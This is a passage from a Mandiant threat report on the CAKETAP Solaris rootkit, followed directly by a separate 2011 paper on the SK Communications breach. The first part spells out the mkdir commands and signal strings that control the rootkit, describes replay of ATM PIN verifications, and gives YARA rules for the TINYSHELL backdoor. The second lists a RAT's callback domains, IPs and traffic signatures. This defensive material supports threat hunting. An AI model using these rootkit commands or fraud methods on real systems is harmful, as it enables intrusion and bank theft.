The following shows an example command to identify a hooked ipcl_get_next_conn function (Note: The mdb command may require special permissions on the system): rootsolaris: echo ipcl_get_next_conn::dis -n 0  ::quit  mdb -k The output in a clean SPARC Solaris system would look similar to the following: ipcl_get_next_conn: save sp, -0xb0, sp A hooked function would begin with the sethi instruction as follows (the constant 0x11971c00 will change from instance to instance depending on where CAKETAP is loaded): ipcl_get_next_conn: sethi hi(0x11971c00), g1 Additional hooks are installed into the mkdirat (make directory at) and getdents64 (get directory entries) system calls.
CAKETAP uses the mkdirat hook to receive commands from paths containing the signal string.
Commands include configuring network filters, display or update its configuration, and to unhide itself.
The getdents64 hook enables CAKETAP to hide files or directories on the file system containing the secret signal string.
Table 4 contains the signal strings for the CAKETAP hooks.
Table 4: Observed secrets for CAKETAP hooks Secret                           Usage .caahGss187 mkdirat hook signal string .zaahGss187 getdents64 hook signal string The mkdirat hook enabled UNC2891 to control and configure CAKETAP through existing backdoor access to compromised servers by issuing shell commands that leverage these system calls (e.g.
mkdir for mkdirat).
A single character appended to the signal string indicated which command was to be executed.
The following commands were observed: Command Function Empty Add the CAKETAP module back to loaded modules list M Change the signal string for the getdents64 hook I Add a network filter (format IPpPORT) i Remove a network filter P Set the current thread TTY to not be filtered by the getdents64 hook https://github.com/Kabot/mig-logcleaner-resurrected 5/8 Table 5: Observed CAKETAP commands p Set all TTYs to be filtered by the getdents64 hook S Displays the current configuration For example, to configure a new network filter and display the current configuration, the following commands might be used: mkdir /some/path/.caahGss187I192.168.1.10p80 - Add network filter for 192.168.1.10:80 mkdir /some/path/.caahGss187S - Display current configuration The hook installed into getdents64 filtered output to hide presence of the signal string in directory contents.
Mandiant observed UNC2891 load CAKETAP with the module name ipstat from attacker created directories that often resided somewhere inside the /var directory tree.
CAKETAP Unauthorized Transactions Memory forensics from one victims ATM switch server revealed a variant of CAKETAP with additional network hooking functionality that intercepted specific messages relating to card and pin verification.
Evidence suggests that this variant of CAKETAP was used as part of an operation to perform unauthorized transactions using fraudulent bank cards.
This CAKETAP variant targeted specific messages destined for the Payment Hardware Security Module (HSM).
This additional network hooking performed several functions: 1.
Manipulation of card verification messages: CAKETAP altered the mode of certain outgoing messages to disable card verification.
This resulted in the HSM not performing the proper card verification and instead generating a valid response.
Fraudulent bank cards generated verification messages using a custom algorithm using the Primary Account Number (PAN) and other parameters which served as a marker for CAKETAP.
CAKETAP examined outgoing messages and if it matched the algorithm, CAKETAP identified the card as fraudulent and stored the PAN in memory to use in the following step.
2.
Replay of PIN verification messages: CAKETAP examined outgoing PIN verification messages that matched certain conditions and identified those with a Primary Account Number (PAN) that reflected a fraudulent card.
If the message was not for a fraudulent card, it would save the message internally and send it unmodified, as to not interrupt legitimate ATM PIN verifications.
However, if it was for a fraudulent card, CAKETAP would instead replace the message content with data from a previously saved message.
This was effectively a replay attack that resulted in a bypass of PIN verification for fraudulent cards.
Based on Mandiants investigation findings, we believe that CAKETAP was leveraged by UNC2891 as part of a larger operation to successfully use fraudulent bank cards to perform unauthorized cash withdrawals from ATM terminals at several banks.
Conclusion UNC2891 maintains a high level of OPSEC and employs several techniques to evade detection.
The actor uses their skill and experience to take full advantage of the decreased visibility and security measures that are often present in Unix and Linux environments.
Mandiant expects that UNC2891 will continue to capitalize on this and perform similar operations for financial gain that target mission critical systems running these operating systems.
While some of the overlaps between UNC2891 and UNC1945 are notable, it is not conclusive enough to attribute the intrusions to a single threat group.
For example, it is possible that significant portions of UNC2891 and UNC1945 activity are carried out by an entity that is a common resource to multiple threat actors, which could explain the perceived difference in intrusion objectivesa common malware developer or an intrusion partner, for example.
Regardless, Mandiant is releasing this information on the actor to raise awareness of the fraudulent activity and aid defenders in uncovering further UNC2891 operations.
YARA The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organizations own internal testing processes to ensure appropriate performance and limit the risk of false positives.
These rules are intended to serve as a starting point for hunting efforts to identify samples, however, they may need adjustment over time if the malware family changes.
6/8 rule TINYSHELL  meta: author  Mandiant strings: sb1   C6 00 48 C6 4? ?
?
49 C6 4? ?
?
49 C6 4? ?
?
4C C6 4? ?
?
53 C6 4? ?
?
45 C6 4? ?
?
54 C6 4? ?
?
3D C6 4? ?
?
46 C6 4? ?
?
00 sb2   C6 00 54 C6 4? ?
?
4D C6 4? ?
?
45 C6 4? ?
?
3D C6 4? ?
?
52 ss1  fork ascii fullword wide ss2  socket ascii fullword wide ss3  bind ascii fullword wide ss4  listen ascii fullword wide ss5  accept ascii fullword wide ss6  alarm ascii fullword wide ss7  shutdown ascii fullword wide ss8  creat ascii fullword wide ss9  write ascii fullword wide ss10  open ascii fullword wide ss11  read ascii fullword wide ss12  execl ascii fullword wide ss13  gethostbyname ascii fullword wide ss14  connect ascii fullword wide condition: uint32(0)  0x464c457f and 1 of (sb) and 10 of (ss)  rule TINYSHELL_SPARC  meta: author  Mandiant strings: sb_xor_1   DA 0A 80 0C 82 18 40 0D C2 2A 00 0B 96 02 E0 01 98 03 20 01 82 1B 20 04 80 A0 00 01 82 60 20 00 98 0B 00 01 C2 4A 00 0B 80 A0 60 00 32 BF FF F5 C2 0A 00 0B 81 C3 E0 08 sb_xor_2   C6 4A 00 00 80 A0 E0 00 02 40 00 0B C8 0A 00 00 85 38 60 00 C4 09 40 02 84 18 80 04 C4 2A 00 00 82 00 60 01 80 A0 60 04 83 64 60 00 10 6F FF F5 90 02 20 01 81 C3 E0 08 condition: uint32(0)  0x464C457F and (uint16(0x10)  0x0200  0x0200) and (uint16(0x12)  0x0200  0x0200) and 1 of them  7/8 rule SLAPSTICK  meta: author  Mandiant strings: ss1  Y b d H:M:S    \x00 ss2  -23s -23s -23s\x00 ss3  -23s -23s -23s -23s -23s s\x0a\x00 condition: (uint32(0)  0x464c457f) and all of them  rule STEELCORGI  meta: author  Mandiant strings: s1  \x00\xff/\xffp\xffr\xffo\xffc\xff/\xffs\xffe\xffl\xfff\xff/\xffe\xffx\xffe\x00 s2 \x00\xff/\xffv\xffa\xffr\xff/\xffl\xffi\xffb\xff/\xffd\xffb\xffu\xffs\xff/\xffm\xffa\xffc\xffh\xffi\xffn\xffe\xff- \xffi\xffd\x00 sb1   FE 1B 7A DE 23 D1 E9 A1 1D 7F 9E C1 FD A4 sb2   3B 8D 4F 45 7C 4F 6A 6C D8 2F 1F B2 19 C4 45 6A 6A condition: (uint32(0)  0x464c457f) and all of them  Indicators of Compromise Malware Family MD5 SHA1 SHA256 STEELCORGI e5791e4d2b479ff1dfee983ca6221a53 e55514b83135c5804786fa6056c88988ea70e360 95964d669250f0ed161409b93f STEELCORGI 0845835e18a3ed4057498250d30a11b1 c28366c3f29226cb2677d391d41e83f9c690caf7 7d587a5f6f36a74dcfbcbaecb2 STEELCORGI d985de52b69b60aa08893185029bcb31 a3e75e2f700e449ebb62962b28b7c230790dc25d cd06246aff527263e409dd779b TINYSHELL 4ff6647c44b0417c80974b806b1fbcc3 fa36f10407ed5a6858bd1475d88dd35927492f52 55397addbea8e5efb8e6493f3b TINYSHELL 13f6601567523e6a37f131ef2ac4390b 4228d71c042d08840089895bfa6bd594b5299a89 24f459a2752175449939037d6a TINYSHELL 4e9967558cd042cac8b12f378db14259 018bfe5b9f34108424dd63365a14ab005e249fdd 5f46a25473b9dda834519093c6 STEELHOUND a4617c9a4bde94e867f063c28d763766 097d3a15510c48cdb738344bdf00082e546827e8 161a2832baba6ff6f9f1b52ed8 MITRE ATTCK 8/8 Discovery: T1016:System Network Configuration Discovery T1018:Remote System Discovery T1049:System Network Connections Discovery T1082:System Information Discovery T1083:File and Directory Discovery T1135:Network Share Discovery Lateral Movement: T1021:Remote Services T1021.004:SSH Credential Access: T1003:OS Credential Dumping T1003.008:/etc/passwd and /etc/shadow T1110:Brute Force T1110.001:Password Guessing T1552:Unsecured Credentials T1552.003:Bash History T1552.004:Private Keys T1556.003:Pluggable Authentication Modules Command and Control: T1090:Proxy T1095:Non-Application Layer Protocol T1105:Ingress Tool Transfer T1572:Protocol Tunneling T1573.001:Symmetric Cryptography Execution: T1053.001:At (Linux) T1059:Command and Scripting Interpreter T1059.004:Unix Shell Collection: T1056.001:Keylogging T1560:Archive Collected Data T1560.001:Archive via Utility T1560.002:Archive via Library Defense Evasion: T1014:Rootkit T1027:Obfuscated Files or Information T1070:Indicator Removal on Host T1070.002:Clear Linux or Mac System Logs T1070.004:File Deletion T1070.006:Timestomp T1140:Deobfuscate/Decode Files or Information T1480.001:Environmental Keying T1548.001:Setuid and Setgid T1620:Reflective Code Loading Persistence: T1543.002:Systemd Service T1547.006:Kernel Modules and Extensions
OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
SK Hack by an Advanced Persistent Threat Command Five Pty Ltd September 2011 ABSTRACT This document summarises the July 2011 intrusion into SK Communications which culminated in the theft of the personal information ofupto35 million people.
It describes the use of a trojaned software update togain access tothe targetnetwork,in effectturning a security practice into a vulnerability.
It also describes the use of a legitimate company to host tools used in the intrusion.
Links between this intrusion and other malicious activity are identified and valuable insights are provided for network defenders.
Technical details of malicious software andinfrastructure are alsoprovided.
WARNING This paper discusses malicious activity and identifies Internet Protocol (IP) addresses, domain names, and websites that may contain malicious content.
For safety reasons these locations should not be accessed, scanned, probed, or otherwise interactedwithunless their trustworthiness can be verified.
SKHACK On 28 July 2011 SK Communications announced it hadbeen the subjectof a hack whichresultedin the theftofthe personal details ofupto35million ofits users.
The compromised details were those of CyWorld and Nate users, as stored in SK Communications user databases.
CyWorld1 isSouth Koreas largest social networkingsite andNate isa popular SouthKorean web portal.
Bothservices are owned bySK Communications.
(Sungjin, 2011) 1CyWorld has also expanded to China, Japan, the United States, Taiwan, Vietnam andEurope.
(
SKCommunications) The sophistication of the attack alongwith the period of time over which it was planned, and conducted, indicate that this attack was likely to have been undertaken by an Advanced Persistent Threat2.
Between 18 and 25 July 2011 the attackers3 infected over 60 SKCommunications computers and used themtogain access to the user databases.
The attackers infected these computers by first compromisinga server, belongingto a South Korean software company, usedto deliver software updates to customers (including SK Communications).
The attackers modified the server so that the SK Communications computers would receive a trojaned4 update file when they conducted their routine checks for software updates.
(
Moonyoung, 2011) (ESTsoft,2011) 2 For a definition of the term AdvancedPersistent Threatrefer to the Command Five paper AdvancedPersistent Threats: A Decade in Review(CommandFive Pty Ltd, 2011).
3 The term attackers is used in this paper to describe both the hackersandanyone to whom they were reporting.
4 A trojan is a document or program whichappears harmlessbut performsmalicious activity when openedor run.
OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
Such routine updates (commonly known as patches) are a good securitypractice as they often include fixes for security weaknesses identified in the software.
Without software updates the SK Communications computers would have been vulnerable to several other attacks including a significant one which was made public in June 20115.
The security of software updates is usually trusted implicitly and the exploitation of this trust relationship couldgoundetected by manytargets,as itdid for some time bySKCommunications.
Between 18and 25Julythe attackers conducted command and control and monitoring activities on the infected computers.
This involved the uploadof tools, conveniently stored on the website of a Taiwanese publishing company the attackers had earlier hacked.
Then on 26 July2011,the attackers, having done the necessary groundwork, proceeded to hack the Nate and CyWorld user databases6.
(
Birdman, 2011) (Moonyoung,2011) Using waypoints7 to obfuscate the source of their activities, the attackers successfully stole the personal details of up to 35 million SK Communications customers from the user databases.
These personal details included names, phone numbers, home and email addresses, birth dates, gender details,user identifiers,passwordsand, due to South Koreas Real Name System8 which was in place atthe time,alsoresidentregistration numbers.
The passwords and resident registration numbers were reportedly encrypted but the other details were not.
(Birdman,2011) (Hauri  Response Team, 2011) (Moonyoung, 2011) (JinwooSeo,2011) THE UPDATE SERVER The update server used by the attackers as a launchpad for their attack against SK Communications was ESTsofts ALZip update server.
ESTsoft is a large South Korean software company 5 A vulnerability existsin certain versionsof a software program used by SK Communications (amongst other companies) which could allow an attacker to gain control of computers if the program is used on them to open a maliciously crafted file.
(
Japanese IT Promotion Agency 2011) 6 According to the Korean National Police Agency the hacker collected information from the infected computers for up to a week before hackingthe databases.
(
Moonyoung, 2011) 7 A waypointisa computer usedby attackersasan intermediary point to obfuscate the source of their hackingactivities.
8 Under SouthKoreasRealName System, Koreanswere required to submit their real names and resident registration numbers when creating accounts on any website attracting more than 100,000 visitorsper day.
(
TMCnews2011) and ALZip is a file compression and archive tool developedbythe company.
ALZipispartofa trusted suite of tools known as ALTools which alsoincludes the antivirus software, ALYac.
The antivirus software is independent of the rest of the suite of tools.
Ituses a different update programandserver to the other tools.
The security of ALYac was not compromisedin the attack.
(ESTsoft, 2011) (ESTsoft, 2011) The attackers, purportedly using Chinese IP addresses9,gainedaccess to the ALZip update server via unknown means anduploadedinstructions toit.
Then, when SK Communications computers conducted their routine check for ALTools updates, the attackers instructions on the update server directed the computers to download a trojaned update from the attackers Content Delivery Network10 (CDN) instead of the legitimate update from ESTsofts CDN.
(
ESTsoft,2011) The trojaned update exploits a software vulnerability 11 in the ALTools Common Module Update Application (ALCMUpdate.exe)  the program used to conduct the routine checks for ALTools software updates.
This vulnerability allowed a malicious Dynamic Link Library (DLL)12 file to be loadedinstead ofthe legitimate DLL update file (ALAd.dll),thereby enablingmalicious code to be run and malicious software (malware) to be installedon computers whichrequestedthe update.
Over 60 SK Communications computers were compromised via the trojaned update.
(
ESTsoft, 2011) (EDaily,2011) (ESTsoft,2011) The attackers are believed to have designated targets for infection, sothatthe trojanedupdate was only delivered to SK Communications computers and not to other computers requesting the same 9 According to South Korean news outlets the attackers used Chinese IPaddresses.
(
Goodin, 2011) 10 A CDN is comprised of multiple servers which are used to distribute software downloads, thereby balancing the load and preventing outages due to individual servers becoming overloaded.
11 A software vulnerability existed in the update program usedby several tools in the ALTools suite.
The vulnerability allowed arbitrary code to be executedbut could onlybe exploitedfrom the actualupdate server or, if a computer could be directed to it (eg.
by modifyingthe host fileon the computer or via DNS hijacking), a fakeupdate server.
A patchfor the vulnerability wasreleasedon 4August 2011.
(
ESTsoft 2011) (ESTsoft, 2011) 12 Accordingto Microsoft, a DLL is a library that containscode and data that can be usedby more than one program at the same time.
(
Microsoft 2007) OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
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software update from the server13.
The way the update server was used in the attack isdepicted in Figure 1.
FIGURE 1  DEPICTION OF HOW THE ALZIP UPDATE SERVER WAS USED IN THE ATTACK This specific targeting of SK Communications indicates the targeting wasnt purely opportunistic.
To target the company in the manner theydid, the attackers would have needed knowledge of SK Communications and its use ofALZip, ahead of the 13 The Korean National Police Agency presumes the hacker, instead of targeting all ALZip users, singled out the intranet computersat SKCommunications.
(
Moonyoung,2011) attack.
Thisknowledge was likelygained during the reconnaissance14 stage ofthe attack.
THE INFECTED COMPUTERS After the ALZipupdate program (ALCMUpdate.exe) downloaded the trojaned update onto the 60 SK Communications computers, the computers subsequentlybecame infected with malware known as Backdoor.
Agent.
Hza.
The trojaned update file dropped the malware Backdoor.
Agent.
Hza onto the computers and, in sodoing,gave the attacker a backdoor into them.
The trojaned update is detected as Trojan.
Dropper.
Agent.
Hza Backdoor.
Agent.
Hza and V.DRP.Agent.
Hza V.BKD.Agent.
Hza by different versions of ESTsofts ALYac antivirus software.
(
ESTsoft, 2011) (ESTsoft, 2011) Once infected, the computers communicated with the command and control server located at South Korean IP address 116.127.121.41 on Transmission Control Protocol (TCP) port 808015.It is possible the infected SK computers used the callback domain update.alyac.org (reportedly associatedwith the hack16) to locate the command and control server.
It is, however, unconfirmed whether the domain update.alyac.org resolved to the South Korean IP address at the time of the attack.
(
ESTsoft, 2011) (Samsung IDC, 2011) (ETnews,2011) Between 18 July 2011 and 25 July 2011, the attackers used the infected computers to collect additional internal access information anddatabase credentials.
They presumably used a file named x.exe17 to acquire some of this information, after downloading it onto infected computers from a toolbox they had earlier set up.
Based on the behaviour of this file, the attackers likelyused it to conduct network enumeration and to obtain 14 For an explanation of the reconnaissance stage of an attack refer to the CommandFive Paper Advanced Persistent Threats: A Decade in Review (CommandFive Pty Ltd, 2011).
15According to Samsung IDC, the ALTools related command and control server wasusingIPaddress 116.127.121.41.
16 Accordingto ETnewsthe domain update.alyac.orgwasusedin the hack.
ETnews does not state how the domain was involved but, given the infected computershadALToolsinstalledon them, use of ALYac.org in the callback domain may have helped to disguise the maliciouscommunications.
(
ETnews 2011) 17 The file named x.exe is 51712 bytes and has a SHA1hash of 5A1B E6AD CB2C C40B 2E9D 6B6C 569F D4DA B273 E7AD.
(
JSUNPACK,2011) 3.
2.
1.
1.
AttackermodifiestheALZipupdateserver.
2.
ComputerscheckforALZip software updatesandare redirectedtoaContentDeliveryNetwork(CDN).
3.
Nontargetedcomputersdownloada legitimate updatefromtheESTsoftCDN.Targetedcomputers downloadatrojanedupdatefromtheattackers maliciousCDN.
ALZipUpdateServer Nontargeted Computers Targeted Computers Malicious CDN Legitimate CDN Attacker OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
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credentials such as usernames and passwords18.
(
Birdman, 2011) (Moonyoung,2011) The attacker alsoinstalledthe malware usedto access the user databases on at least one of the infected computers.
The malware was named nateon.exe19 and was also hosted on the same toolbox, along with another file named rar.exe20.
(
Birdman, 2011) (Hauri Response Team,2011) Static analysis21 ofthe file rar.exe indicates itis a modified version of the WinRar22 command line program  also named rar.exe.
The file may have been used in the attack to create or open archive files.
The modifications made to the program remove the program properties from display, presumably to disguise the true nature of the file.
Thisis somewhat redundantin this instance though, given the file name indicates the nature of the program.
THE TOOLBOX The files downloaded onto the infected SK Communications computers were reportedlyhosted at www.cph.com.tw/act23  a website belonging to the large Taiwanese publishing company,Cite Media Holding Group 24 .
It is likely the companys webserver was compromised unbeknownst to its owner and used by the attacker as a toolbox from which todownloadmalicious files andhacker tools onto targetedcomputers.
The website cph.com.tw is assumed to have been running on an Internet Information Services (IIS) webserver atthe time the server was hacked25.
IIS runs on the Microsoft Windows operating system, indicating the compromised server was 18 Antivirus software detects the file as Heuristic.
BehavesLike.
Win32.PasswordStealer.
H and HKTL_NETVIEW.
(
Hispasec Sistemas, 2011) 19 The file named nateon.exe is 166912 bytes and has a SHA1 hash of F84C D73D ABF1 8660 7F98 6DF9 8C54 02A5 7BB5 8AD1.
It is detected as Backdoor.
Sogu by Symantec antivirus software.
(
JSUNPACK2011).
(
Hispasec Sistemas, 2011) 20 The filenamedrar.exe is337920bytesandhasa SHA1hash of E87C 3ACB A599 5E01 7AD3 1B29 A5E2 FE36 3ED4 D9EB.
(
JSUNPACK2011) 21 Static analysis refers to analysis of a programs code to determine its functionality, as opposed to dynamic analysis in whicha program isexecuted to determine itsbehaviour.
22 WinRAR isa popular archivingand compression tool.
23 The files nateon.exe, rar.exe and x.exe were hosted at www.cph.com.tw/act.
(
Birdman, 2011) 24 Cite Media HoldingGroup publishesover 20 million magazine issues each year in Taiwan.
(
Novell 2011) 25 An archived error page shows the cph.com.tw website was runningon an IIS server in late 2010.
(
The Internet Archive 2010) likely running Microsoft Windows.
There are a number of known vulnerabilities for both IIS and Microsoft Windows which potentially could have been exploited and resulted in the compromise of the webserver26.
THEDATABASE ACCESS After the week collecting information from the infected computers the attackers were ready to access the databases.
On 26 July2011,they used the information they had gathered, along with a malicious programnamednateon.exe,toaccess the Nate and CyWorld databases.
The theft of information continued into the following day  27 July 2011.
(
Birdman, 2011) (Moonyoung, 2011) (Hauri  Response Team,2011) The personal information extracted from the databases was purportedlysentvia a waypointtoa Chinese IP address where the hacker received the information.
The waypoint used purportedly belonged to a company based in Seouls Nonhyeon neighbourhood.
(Moonyoung,2011) The South Korean waypoint may have been located by the malware using the callback domain ro.diggfunny.com whichwas reportedlyassociated withthe leak ofinformation fromthe databases27.It has not, however, been confirmed whether, at the time ofthe attack,this callback domain pointedtoan IPaddress belongingto a Nonhyeonbasedcompany.
26 Both the Microsoft Security TechCenter and the US National Vulnerability Database make available a comprehensive list of Microsoft Windows and IIS vulnerabilities.
(
Microsoft n.d.) (
National Institute of Standards and Technology n.d.)
27 Accordingto SamsungIDC the IP address116.127.121.109was associated with the leak of database files from Nate.
(
Samsung IDC 2011) OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
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FIGURE 2  EXCERPTS FROM THE NATEON.EXE CONFIGURATION BLOCK THEDESTORY RAT Structureand Behaviour The malicious program named nateon.exe installs a Remote Administration Tool (RAT) named winsvcfs.dll.
It modifies the system registryin such a waythatthe RATgets executedas a service bythe trusted process svchost.exe 28 each time the computer is started.
Once winsvcfs.dll is installed, nateon.exe is deleted.
Both nateon.exe 29 and winsvcfs.dll30 are now detected by some antivirus software.
Static analysis of the malware reveals a configuration block.
This configuration block contains the name ofthe DLL file whichnateon.exe is to create.
In this instance, the configured named was winsvcfs.dll, as shown in Figure 2.Due to the name beingconfigurable,the RATwill notalways be called winsvcfs.dll.
The configuration block also contains a callback domain and port for the malwares command and control communications.
The callback domain is configured to be nateon.duamlive.com andthe port isconfigured to be 80(50 in hexadecimal),alsoshown in Figure 2.
If no configuration is specified, the malware uses default values instead.
The default callback location hardcoded into the malware is the private IP address, 192.168.0.200.
This address is not 28 The process svchost.exe isa generic host process for services whichrun from DLLs.
(
Microsoft, A description of Svchost.exe in Windows XPProfessional Edition 2007) 29 On 29 July 2011, 23 of 43 antivirus products tested detected nateon.exe asmalware, asof 19 August 2011 this number had increased to 36 of the 43.
(
Hispasec Sistemas 2011) (Hispasec Sistemas2011) 30 As of 6 September 2011, 34 of 44 antivirus products tested detectedwinsvcfs.dllas malware.
(
Hispasec Sistemas2011) routable on the Internet andsuggests the attackers rely on the configuration instead of the hardcoded callback address.
According to information contained within nateon.exe, the malware used in the SK Communications hack was compiled from source code on 27 September 2010 at 01:17.04  over 6 months before the attack.
The configuration block was likelyinsertedintothe binaryafter this date as the callback domain was not registered until May 2011.Thismay indicate thatthe RAT has been used in other attacks butwith differentconfigurations.
If the previously identified Backdoor.
Sogu 31 is a version of the malware, other callback domains previously configuredmay include those known to be usedby Backdoor.
Sogu.
These domains include bbs.afbjz.com, newhose.ntimobile.com, and www.adv138mail.com32.
The RAT has many different capabilities and runson multiple versions of the MicrosoftWindows operating system.
The RATs behaviour changes slightlydependingon which version ofthe Windows operating system it is installed on and which modules are installed.
Modules used by the RAT deployed to the SK Communications network include: 31 Symantec antivirus software detects nateon.exe as Backdoor.
Sogu.
The malware described by Symantec exhibits similar behaviour to nateon.exebut isa smaller size.
(
Mullaney, 2011) 32 In addition to being used by Backdoor.
Sogu, the callback domain www.adv138mail.com wasusedby a Poison Ivy RAT in a July 2011 socially engineered email campaign which targeted expertson the relationship of the UnitedStateswithJapan, China andTaiwan.
(
Parkour, 2011) 10026210/10070910: 31 9C 6C 4C  B9 3A 10 00  E8 03 00 00  01 00 50 00  1.lL.:.......P.
10026220/10070920: 6E 61 74 65  6F 6E 2E 64  75 61 6D 6C  69 76 65 2E  nateon.duamlive.
10026230/10070930: 63 6F 6D 00  00 00 00 00  00 00 00 00  00 00 00 00  com............. 10026240/10070940: 00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ................  100268A0/10070FA0: 00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ................ 100268B0/10070FB0: 00 00 00 00  00 00 00 00  00 00 00 00  77 69 6E 73  ............wins 100268C0/10070FC0: 76 63 66 73  00 00 00 00  00 00 00 00  00 00 00 00  vcfs............ 100268D0/10070FD0: 00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00 ................  10026930/10071030: 00 00 00 00  00 00 00 00  00 00 00 00               ............ OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
advapi32.dll, cryptbase.dll, gdi32.dll, iphlpapi.dll, kernel32.dll, mpr.dll, msvcrt.dll, ntdll.dll, odbc32.dll, ole32.dll, psapi.dll, sfc.dll, shell32.dll, shlwapi.dll, user32.dll, userenv.dll, version.dll, wininet.dll, ws2_32.dll, wtsapi32.dll.
Of note, the module odbc32.dll is used in the access of databases.
The RAT uses a number of Standard Query Language (SQL)33 functions which are accessed (or more technically, dynamically imported)as the software runs.
These include: SQLAllocHandle, SQLColAttributeW, SQLDisconnect, SQLDriverConnectW, SQLExecDirectW, SQLFetch, SQLFreeHandle, SQLGetData, SQLGetDiagRecW, SQLMoreResults, SQLNumResultCols, SQLSetEnvAttr.
These functions wouldhave been utilised bythe attacker to communicate withthe Nate and CyWorld user databases and thereby, to obtain the personal details.
The RAT can not only access and query databases but can also enumerate the networks to which the infected computer is connected, set up network connections, modify the registry, lock the workstations screen, control processes and services 33 SQL instructions are used to query certain types of databases andobtain information from them.
running on the computer, download files, create files, take screenshots and shutdown, reboot or log out of the computer.
The RAT has four different operating modes SMI (Install), SMU (Uninstall), SMRAC (Run as Console) and SMRACU (Run as Console User).
(Hauri  Response Team,2011) A complete list of strings obtained through static analysis of the malware is provided in Annex A.
These strings give additional insight into the RAT andits behaviour.
Of note, a unique string is present which may be used to associate nateon.exe with other malware.
This string is CONFIG DESTORY and is contained within the malware in an obfuscated form.
The stringisdisplayedin a popup window if an integrity check the malware performs on its configuration fails.
The RAT employs some basic obfuscation techniques.
All strings are obfuscated in memory and only decoded when they need to be used, thereby making static analysis more difficult.
In addition, unnecessary operations are inserted at frequent intervals throughout the code.
The prolific use of unnecessary operations is likely to make reverse engineering more difficult and potentially indicates that the malware is polymorphic34.
The RAT,while in some ways sophisticated,still hides in plain sight limitingits scope for obfuscation.
Communications The RAT attempts communications to a command andcontrol server located usinga callback domain.
It also creates a raw socket and binds it to the infected computers local IP address (as assigned to the computers network interface card).This isnot, however, for the RATtoaccept inboundconnection requests.
The socket is configured by the RAT in sucha waythat itacts as a packetsniffer,whereby, the RAT receives a copyof all inbound andoutbound network traffic on the bound interface.
As well as enablingdeep inspection ofthis network traffic, the capability could allow the RAT to passively receive commandson anyport usinganyprotocol.
Before attempting communications to the command and control server, the malware checks for network connectivity.
It does this by using the 34 Polymorphic programscan be modified(or modify themselves) to have a different file hashand/or size while retaining the same functionality.
This facilitates code reuse by making signature baseddetection more difficult.
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legitimate Microsoft Windows domain download.windowsupdate.com.
This legitimate domain is hardcoded into the malware butmay be overridden by modifying the malwares configuration.
Having determined there is network connectivity, the malware establishes communications with the callback domain nateon.duamlive.com35 on TCPport80(configured as noted previously).
Communications occur over the HyperTextTransfer Protocol (HTTP)protocol a protocol commonly used on TCP port 80 for website browsing.
The malware appears to be proxyaware and capable of communicating via a web proxy.
The followingmalformeduseragent36 ispresent in the HTTP requests (spaces shown here as ): Mozilla/4.0(compatibleMSIE6.0WindowsNT5.
1SV1.
This useragent is consistent with that which maybe expected from a user running version 6.0 of the MicrosoftInternetExplorer web browser on the Microsoft Windows XPoperatingsystem, except that it is missing a closing bracket after the last semicolon and a space after the second to last semicolon.
Thismalformeduseragent ishardcoded and can be used as a signature to detect HTTP communications producedbythe malware.
Four custom headers are also present in the HTTP requests: XSession, XStatus, XSize, and XSn.
The file path requested is /update?productwindows.
These custom headers and the file path may also be used to develop signatures for detection of the RATs communications.
Once the malware successfully contacted the command and control server, the attacker would have been able to give it instructions to access the Nate and Cyworld databases and to send data from them back toa location the attacker couldaccess.
The name of the malware and the name of the selected callback domain were presumably chosen 35 Multiple sources confirm the malware used in the hack called back to nateon.duamlive.com.
(
Samsung IDC 2011) (Birdman, 2011) 36 Useragents are used in HTTP communications to tell webservers which operating system and web browser their clientsare using, so they can serve compatible webpages.
bythe attackers todisguise themas being associated withNateOn  an InstantMessaging Service owned by SK Communications.
Legitimate files developed bySKCommunications are alsoknown bythe name nateon.exe37.
THEMALICIOUS INFRASTRUCTURE Callback domains are translated to IP addresses using the Domain Name System (DNS)38 protocol.
Thistranslates the domain intoa unique address on the Internet which infected computers can use to locate and communicate with a command and control server.
Command and control servers are typically more resource intensive to set up and maintain than callback domains whichmaybe used to direct communications to them.
It is not uncommon for multiple domains to identify the same commandandcontrol infrastructure.
In late July 2011, at the time of the attack, the callback domain nateon.duamlive.com pointed to the SouthKorean IP address 121.78.237.135 but at the time of writing points to local loopback IP address 127.0.0.139.Attackers quite commonlypoint a callback domain to a local loopback IP address when they do not have any instructions for the infectedcomputers usingthatdomain.
Thisprevents the computers from unnecessarily contacting the attackers command and control infrastructure.
Attackers also quite commonly point a callback domain to a local loopback IP address when they want to protect their command and control infrastructure from detection.
At the time of the attack, the callback domain ro.diggfunny.com pointed to the South Korean IP address 116.127.121.109.
This IP address is in the same IPaddress range (116.127.0.0/16) 40 as the IP address usedby the ALTools relatedcommandand control server (IP address 116.127.121.41).
The IP 37 Different versionsof a legitimate filenamed nateon.exeexist.
These filesare associatedwiththe NATEON Upgrader developed by SK Communications.
(
Mister Group n.d.)
38 DNS is fundamental on the Internet.
It is a form of directory assistance to help computerscommunicate withother computers.
Its use isanalogousto a person callingdirectory assistance to find out what phone number to dialto speakto a certain person.
39 A local loopback IPaddress is an addresswhich is not Internet or Intranet routable, ie.
it can not be used by a computer to communicate withanother computer.
When a computer attempts to communicate with a local loopback IP address, it communicateswithitself.
40 The IP address range 116.127.0.0/16 is the Classless Inter Domain Routing (CIDR) representation of IP addresses 116.127.0.0through116.127.255.255.
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address range is allocated to the South Korean ISP HanaroTelecom.
A portion of the IP address range appears to have been assigned by Hanaro Telecom to a South Korean web hosting company.
It is not known whether the twoIPaddresses usedby the attackers fall within the range used by the webhosting company.
It is also unconfirmed whether that company is based in Nonhyeong  the geographic region of the company that hosted the waypoint usedin the attack.
If the IPaddresses usedby the attackers in the range 116.127.121.0/24 were assigned to the web hosting company, it is possible the attackers purchased webhosting services through the companyto hosttheir commandand control servers instead of compromisinglegitimate servers.
Other IP addresses in the range are also associated with malware41 but that malware may not be related in any way to the SK Communications hack or the attackers involvedin the hack.
In late July 2011, at around the time of the attack, the callback domain update.alyac.org pointed to the South Korean IP address 202.30.224.240.
As at the time of writing, the domain now points to the legitimate Google IP address 8.8.8.8.
